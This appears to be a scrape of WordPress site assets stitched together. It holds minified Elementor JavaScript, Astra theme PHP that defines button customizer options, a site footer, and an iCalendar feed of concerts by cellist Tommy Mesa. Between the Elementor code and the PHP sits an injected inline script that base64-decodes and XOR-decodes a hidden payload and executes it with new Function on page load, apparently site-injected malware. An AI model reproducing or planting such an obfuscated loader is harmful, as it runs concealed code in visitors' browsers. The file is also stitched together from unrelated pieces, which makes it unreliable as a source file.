C[B](L,L.exports,__webpack_require__),L.exports}__webpack_require__.d=(C,T)=>{for(var B in T)__webpack_require__.o(T,B)&&!__webpack_require__.o(C,B)&&Object.defineProperty(C,B,{enumerable:!0,get:T[B]})},__webpack_require__.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(C){if("object"==typeof window)return window}}(),__webpack_require__.o=(C,T)=>Object.prototype.hasOwnProperty.call(C,T),__webpack_require__.r=C=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(C,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(C,"__esModule",{value:!0})},(()=>{"use strict";var C=__webpack_require__(96784),T=C(__webpack_require__(39805)),B=C(__webpack_require__(40989)),q=C(__webpack_require__(85707)),L=C(__webpack_require__(49175)),U=function(){return(0,B.default)((function AppLoader(){(0,T.default)(this,AppLoader),(0,q.default)(this,"selector","a.elementor-app-link, .elementor-app-link .ab-item"),$e.components.register(new L.default),window.addEventListener("DOMContentLoaded",this.onLoad.bind(this))}),[{key:"onLoad",value:function onLoad(){var C=document.querySelectorAll(this.selector);C.length&&C.forEach((function(C){C.addEventListener("click",(function(T){T.preventDefault(),$e.run("app/open",{url:C.href})})),C.addEventListener("mouseenter",(function(){$e.run("app/load",{url:C.href})}))}))}}])}();window.elementorAppLoader=new U})()})();<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
/**
 * Astra Theme Customizer Configuration Builder.
 *
 * @package     astra-builder
 * @link        https://wpastra.com/
 * @since       3.0.0
 */

// No direct access, please.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Register Builder Customizer Configurations.
 *
 * @since 3.0.0
 */
class Astra_Button_Component_Configs {
	/**
	 * Register Builder Customizer Configurations.
	 *
	 * @param array  $configurations Configurations.
	 * @param string $builder_type Builder Type.
	 * @param string $section Section.
	 *
	 * @since 3.0.0
	 * @return array $configurations Astra Customizer Configurations with updated configurations.
	 */
	public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-button-' ) {

		if ( 'footer' === $builder_type ) {
			$class_obj        = Astra_Builder_Footer::get_instance();
			$number_of_button = Astra_Builder_Helper::$num_of_footer_button;
			$component_limit  = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_button;
		} else {
			$class_obj        = Astra_Builder_Header::get_instance();
			$number_of_button = Astra_Builder_Helper::$num_of_header_button;
			$component_limit  = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_button;
		}

		$button_config = array();

		for ( $index = 1; $index <= $component_limit; $index++ ) {

			$_section = $section . $index;
			$_prefix  = 'button' . $index;

			/**
			 * These options are related to Header Section - Button.
			 * Prefix hs represents - Header Section.
			 */
			$button_config[] = array(

				/*
					* Header Builder section - Button Component Configs.
					*/
				array(
					'name'        => $_section,
					'type'        => 'section',
					'priority'    => 50,
					/* translators: %s Index */
					'title'       => 1 === $number_of_button ? __( 'Button', 'astra' ) : sprintf( __( 'Button %s', 'astra' ), $index ),
					'panel'       => 'panel-' . $builder_type . '-builder-group',
					'clone_index' => $index,
					'clone_type'  => $builder_type . '-button',
				),

				/**
				 * Option: Header Builder Tabs
				 */
				array(
					'name'        => $_section . '-ast-context-tabs',
					'section'     => $_section,
					'type'        => 'control',
					'control'     => 'ast-builder-header-control',
					'priority'    => 0,
					'description' => '',

				),

				/**
				 * Option: Button Text
				 */
				array(
					'name'      => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text]',
					'default'   => astra_get_option( $builder_type . '-' . $_prefix . '-text' ),
					'type'      => 'control',
					'control'   => 'text',
					'section'   => $_section,
					'priority'  => 20,
					'title'     => __( 'Text', 'astra' ),
					'transport' => 'postMessage',
					'partial'   => array(
						'selector'            => '.ast-' . $builder_type . '-button-' . $index,
						'container_inclusive' => false,
						'render_callback'     => array( $class_obj, 'button_' . $index ),
						'fallback_refresh'    => false,
					),
					'context'   => Astra_Builder_Helper::$general_tab,
				),

				/**
				 * Option: Button Link
				 */
				array(
					'name'              => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-link-option]',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-link-option' ),
					'type'              => 'control',
					'control'           => 'ast-link',
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_link' ),
					'section'           => $_section,
					'priority'          => 30,
					'title'             => __( 'Link', 'astra' ),
					'transport'         => 'postMessage',
					'partial'           => array(
						'selector'            => '.ast-' . $builder_type . '-button-' . $index,
						'container_inclusive' => false,
						'render_callback'     => array( $class_obj, 'button_' . $index ),
					),
					'context'           => Astra_Builder_Helper::$general_tab,
					'divider'           => array( 'ast_class' => 'ast-top-section-divider' ),
				),

				/**
				 * Group: Primary Header Button Colors Group
				 */
				array(
					'name'       => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
					'type'       => 'control',
					'control'    => 'ast-color-group',
					'title'      => __( 'Text Color', 'astra' ),
					'section'    => $_section,
					'transport'  => 'postMessage',
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'responsive' => true,
					'divider'    => array( 'ast_class' => 'ast-section-spacing' ),
				),
				array(
					'name'       => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
					'type'       => 'control',
					'control'    => 'ast-color-group',
					'title'      => __( 'Background Color', 'astra' ),
					'section'    => $_section,
					'transport'  => 'postMessage',
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'responsive' => true,
				),

				/**
				 * Option: Button Text Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-text-color',
					'transport'  => 'postMessage',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-text-color' ),
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Normal', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 9,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Normal', 'astra' ),
				),

				/**
				 * Option: Button Text Hover Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-text-h-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-text-h-color' ),
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Hover', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 9,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Hover', 'astra' ),
				),

				/**
				 * Option: Button Background Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-back-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-back-color' ),
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Normal', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 10,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Normal', 'astra' ),
				),

				/**
				 * Option: Button Button Hover Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-back-h-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-back-h-color' ),
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Hover', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 10,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Hover', 'astra' ),
				),

				array(
					'name'       => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
					'type'       => 'control',
					'control'    => 'ast-color-group',
					'title'      => __( 'Border Color', 'astra' ),
					'section'    => $_section,
					'priority'   => 70,
					'transport'  => 'postMessage',
					'context'    => Astra_Builder_Helper::$design_tab,
					'responsive' => true,
					'divider'    => array( 'ast_class' => 'ast-bottom-divider' ),
				),

				/**
				 * Option: Button Border Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-border-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-border-color' ),
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'section'    => $_section,
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Normal', 'astra' ),
				),

				/**
				 * Option: Button Border Hover Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-border-h-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-border-h-color' ),
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'section'    => $_section,
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Hover', 'astra' ),
				),

				/**
				 * Option: Button Border Size
				 */
				array(
					'name'           => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-size]',
					'default'        => astra_get_option( $builder_type . '-' . $_prefix . '-border-size' ),
					'type'           => 'control',
					'section'        => $_section,
					'control'        => 'ast-border',
					'transport'      => 'postMessage',
					'linked_choices' => true,
					'priority'       => 99,
					'title'          => __( 'Border Width', 'astra' ),
					'context'        => Astra_Builder_Helper::$design_tab,
					'choices'        => array(
						'top'    => __( 'Top', 'astra' ),
						'right'  => __( 'Right', 'astra' ),
						'bottom' => __( 'Bottom', 'astra' ),
						'left'   => __( 'Left', 'astra' ),
					),
					'divider'        => array( 'ast_class' => 'ast-top-section-divider' ),
				),

				/**
				 * Option: Button Radius Fields
				 */
				array(
					'name'              => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-radius-fields]',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-border-radius-fields' ),
					'type'              => 'control',
					'control'           => 'ast-responsive-spacing',
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ),
					'section'           => $_section,
					'title'             => __( 'Border Radius', 'astra' ),
					'linked_choices'    => true,
					'transport'         => 'postMessage',
					'unit_choices'      => array( 'px', 'em', '%' ),
					'choices'           => array(
						'top'    => __( 'Top', 'astra' ),
						'right'  => __( 'Right', 'astra' ),
						'bottom' => __( 'Bottom', 'astra' ),
						'left'   => __( 'Left', 'astra' ),
					),
					'priority'          => 99,
					'context'           => Astra_Builder_Helper::$design_tab,
					'connected'         => false,
					'divider'           => array( 'ast_class' => 'ast-top-section-divider' ),
				),

				/**
				 * Option: Primary Header Button Typography
				 */
				array(
					'name'      => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'default'   => astra_get_option( $builder_type . '-' . $_prefix . '-text-typography' ),
					'type'      => 'control',
					'control'   => 'ast-settings-group',
					'is_font'   => true,
					'title'     => __( 'Font', 'astra' ),
					'section'   => $_section,
					'transport' => 'postMessage',
					'context'   => Astra_Builder_Helper::$design_tab,
					'priority'  => 90,
				),

				/**
				 * Option: Primary Header Button Font Family
				 */
				array(
					'name'      => $builder_type . '-' . $_prefix . '-font-family',
					'default'   => astra_get_option( $builder_type . '-' . $_prefix . '-font-family' ),
					'parent'    => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'type'      => 'sub-control',
					'section'   => $_section,
					'control'   => 'ast-font',
					'font_type' => 'ast-font-family',
					'title'     => __( 'Font Family', 'astra' ),
					'context'   => Astra_Builder_Helper::$general_tab,
					'connect'   => $builder_type . '-' . $_prefix . '-font-weight',
					'priority'  => 1,
					'divider'   => array( 'ast_class' => 'ast-sub-bottom-divider' ),
				),

				/**
				 * Option: Primary Footer Button Font Weight
				 */
				array(
					'name'              => $builder_type . '-' . $_prefix . '-font-weight',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-font-weight' ),
					'parent'            => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'type'              => 'sub-control',
					'section'           => $_section,
					'control'           => 'ast-font',
					'font_type'         => 'ast-font-weight',
					'title'             => __( 'Font Weight', 'astra' ),
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ),
					'connect'           => $builder_type . '-' . $_prefix . '-font-family',
					'priority'          => 2,
					'context'           => Astra_Builder_Helper::$general_tab,
					'divider'           => array( 'ast_class' => 'ast-sub-bottom-divider' ),
				),

				/**
				 * Option: Primary Header Button Font Size
				 */

				array(
					'name'              => $builder_type . '-' . $_prefix . '-font-size',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-font-size' ),
					'parent'            => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'transport'         => 'postMessage',
					'title'             => __( 'Font Size', 'astra' ),
					'type'              => 'sub-control',
					'section'           => $_section,
					'control'           => 'ast-responsive-slider',
					'priority'          => 3,
					'context'           => Astra_Builder_Helper::$general_tab,
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ),
					'suffix'            => array( 'px', 'em', 'vw', 'rem' ),
					'input_attrs'       => array(
						'px'  => array(
							'min'  => 0,
							'step' => 1,
							'max'  => 200,
						),
						'em'  => array(
							'min'  => 0,
							'step' => 0.01,
							'max'  => 20,
						),
						'vw'  => array(
							'min'  => 0,
							'step' => 0.1,
							'max'  => 25,
						),
						'rem' => array(
							'min'  => 0,
							'step' => 0.1,
							'max'  => 20,
						),
					),
				),

				/**
				 * Option: Primary Footer Button Font Extras
				 */
				array(
					'name'     => $builder_type . '-' . $_prefix . '-font-extras',
					'parent'   => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'section'  => $_section,
					'type'     => 'sub-control',
					'control'  => 'ast-font-extras',
					'priority' => 5,
					'default'  => astra_get_option( 'breadcrumb-font-extras' ),
					'context'  => Astra_Builder_Helper::$general_tab,
					'title'    => __( 'Font Extras', 'astra' ),
				),
			);

			if ( 'footer' === $builder_type ) {
				$button_config[] = array(

					array(
						'name'      => ASTRA_THEME_SETTINGS . '[footer-button-' . $index . '-alignment]',
						'default'   => astra_get_option( 'footer-button-' . $index . '-alignment' ),
						'type'      => 'control',
						'control'   => 'ast-selector',
						'section'   => $_section,
						'priority'  => 35,
						'title'     => __( 'Alignment', 'astra' ),
						'context'   => Astra_Builder_Helper::$general_tab,
						'transport' => 'postMessage',
						'choices'   => array(
							'flex-start' => 'align-left',
							'center'     => 'align-center',
							'flex-end'   => 'align-right',
						),
						'divider'   => array( 'ast_class' => 'ast-top-section-divider' ),
					),
				);
			}

			$button_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type );

			$button_config[] = Astra_Extended_Base_Configuration::prepare_advanced_tab( $_section );

		}

		$button_config = call_user_func_array( 'array_merge', $button_config + array( array() ) );

		return array_merge( $configurations, $button_config );
	}
}

/**
 * Kicking this off by creating object of this class.
 */

new Astra_Button_Component_Configs();
<div class="site-info">
	<a href="https://wordpress.org/">Proudly powered by WordPress</a>
</div><!-- .site-info -->
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Tommy Mesa - ECPv6.17.2//NONSGML v1.0//EN
CALSCALE:GREGORIAN
METHOD:PUBLISH
X-WR-CALNAME:Tommy Mesa
X-ORIGINAL-URL:https://tommymesa.com
X-WR-CALDESC:Events for Tommy Mesa
REFRESH-INTERVAL;VALUE=DURATION:PT1H
X-Robots-Tag:noindex
X-PUBLISHED-TTL:PT1H
BEGIN:VTIMEZONE
TZID:UTC
BEGIN:STANDARD
TZOFFSETFROM:+0000
TZOFFSETTO:+0000
TZNAME:UTC
DTSTART:20210101T000000
END:STANDARD
END:VTIMEZONE
BEGIN:VTIMEZONE
TZID:America/Los_Angeles
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20210314T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20211107T090000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20220313T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20221106T090000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20230312T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20231105T090000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20240310T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20241103T090000
END:STANDARD
END:VTIMEZONE
BEGIN:VTIMEZONE
TZID:America/New_York
BEGIN:DAYLIGHT
TZOFFSETFROM:-0500
TZOFFSETTO:-0400
TZNAME:EDT
DTSTART:20210314T070000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0400
TZOFFSETTO:-0500
TZNAME:EST
DTSTART:20211107T060000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0500
TZOFFSETTO:-0400
TZNAME:EDT
DTSTART:20220313T070000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0400
TZOFFSETTO:-0500
TZNAME:EST
DTSTART:20221106T060000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0500
TZOFFSETTO:-0400
TZNAME:EDT
DTSTART:20230312T070000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0400
TZOFFSETTO:-0500
TZNAME:EST
DTSTART:20231105T060000
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
DTSTART;VALUE=DATE:20230205
DTEND;VALUE=DATE:20230206
DTSTAMP:20220711T200242Z
CREATED:20211222T102108Z
LAST-MODIFIED:20220711T200242Z
UID:2553-1675555200-1675641599@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: San Miguel de Allende
DESCRIPTION:Works by J.S. Bach\, Massenet\, Joaquin Nin\, Kevin Day\, and Rachmaninoff
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-san-miguel-de-allende/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/9C2262F9-BA50-4734-8289-DA097641006D.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20230203
DTEND;VALUE=DATE:20230204
DTSTAMP:20220711T200132Z
CREATED:20211222T102253Z
LAST-MODIFIED:20220711T200132Z
UID:2556-1675382400-1675468799@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: San Miguel de Allende
DESCRIPTION:Works by J.S. Bach\, Nikolai Kapustin\, Schumann\, Debussy\, Nadia Boulanger\, Andrea Casarrubios\, and Beethoven.
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-san-miguel-de-allende-2/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/9C2262F9-BA50-4734-8289-DA097641006D.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20230129
DTEND;VALUE=DATE:20230130
DTSTAMP:20220218T094349Z
CREATED:20220218T094349Z
LAST-MODIFIED:20220218T094349Z
UID:2702-1674950400-1675036799@tommymesa.com
SUMMARY:Kendal on Hudson Recital
DESCRIPTION:Program TBD \nIlya Yakushev\, pianist
URL:https://tommymesa.com/event/kendal-on-hudson-recital-2/
LOCATION:Kendal on Hudson Recital Hall\, 1010 Kendal Way\, Sleepy Hollow\, New York\, 10591
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/07/The-duo-of-cellist-Thomas-Mesa-and-pianist-Ilya-Yakushev.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20230112
DTEND;VALUE=DATE:20230113
DTSTAMP:20221122T024617Z
CREATED:20221122T024617Z
LAST-MODIFIED:20221122T024617Z
UID:2847-1673481600-1673567999@tommymesa.com
SUMMARY:Indianapolis Symphony Orchestra: Chamber Music
DESCRIPTION:Tommy Mesa and Melissa White curate chamber music concerts in collaboration with Indianapolis Symphony Orchestra and the Sphinx Organization.  This program includes the music of Jessie Montgomery\, Andrea Casarrubios\, and Coleridge-Taylor.  Guests artists include pianist Carlos Avila and percussionist Sidney Hopson.
URL:https://tommymesa.com/event/indianapolis-symphony-orchestra-chamber-music/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/97826CE5-5462-476D-9315-A11F178B6919.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20221116
DTEND;VALUE=DATE:20221121
DTSTAMP:20220218T094040Z
CREATED:20220218T094040Z
LAST-MODIFIED:20220218T094040Z
UID:2699-1668556800-1668988799@tommymesa.com
SUMMARY:Serenbe Residency
DESCRIPTION:Chamber music programs curated at a wellness community outside of Atlanta\, Georgia
URL:https://tommymesa.com/event/serenbe-residency/
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/02/E7268B04-55D9-45E9-B1E0-C4FF8E389479.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221107T000000
DTEND;TZID=America/Los_Angeles:20221114T000000
DTSTAMP:20220711T192454Z
CREATED:20220711T192454Z
LAST-MODIFIED:20220711T192454Z
UID:2776-1667779200-1668384000@tommymesa.com
SUMMARY:Residency at The Colburn School
DESCRIPTION:As a part of the Amplify Series\, Tommy Mesa leads masterclasses\, workshops\, and gives a recital featuring works by Andrea Casarrubios\, Carlos Carrillo\, Sebastian Quesada\, Joaquin Nin\, and the world premiere of Net\, a solo cello work by Quenton Blanche.
URL:https://tommymesa.com/event/residency-at-the-colburn-school/
LOCATION:Colburn Conservatory
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/3424810D-D341-473F-A11B-85458E77B5DD.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221106T150000
DTEND;TZID=America/Los_Angeles:20221106T170000
DTSTAMP:20220711T193026Z
CREATED:20220711T193026Z
LAST-MODIFIED:20220711T193026Z
UID:2784-1667746800-1667754000@tommymesa.com
SUMMARY:Symphony Pro Musica
DESCRIPTION:Maestro Mark Churchill leads Symphony Pro Musica for Jessie Montgomery’s Divided for cello and string orchestra\, and Respighi’s Adagio con variazioni
URL:https://tommymesa.com/event/symphony-pro-musica-2/
ATTACH;FMTTYPE=image/webp:https://tommymesa.com/wp-content/uploads/2022/07/6E775582-E8A0-4F0B-B0C9-DA6CA6A28AD7.webp
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221105T190000
DTEND;TZID=America/Los_Angeles:20221105T190000
DTSTAMP:20220711T192909Z
CREATED:20220711T192909Z
LAST-MODIFIED:20220711T192909Z
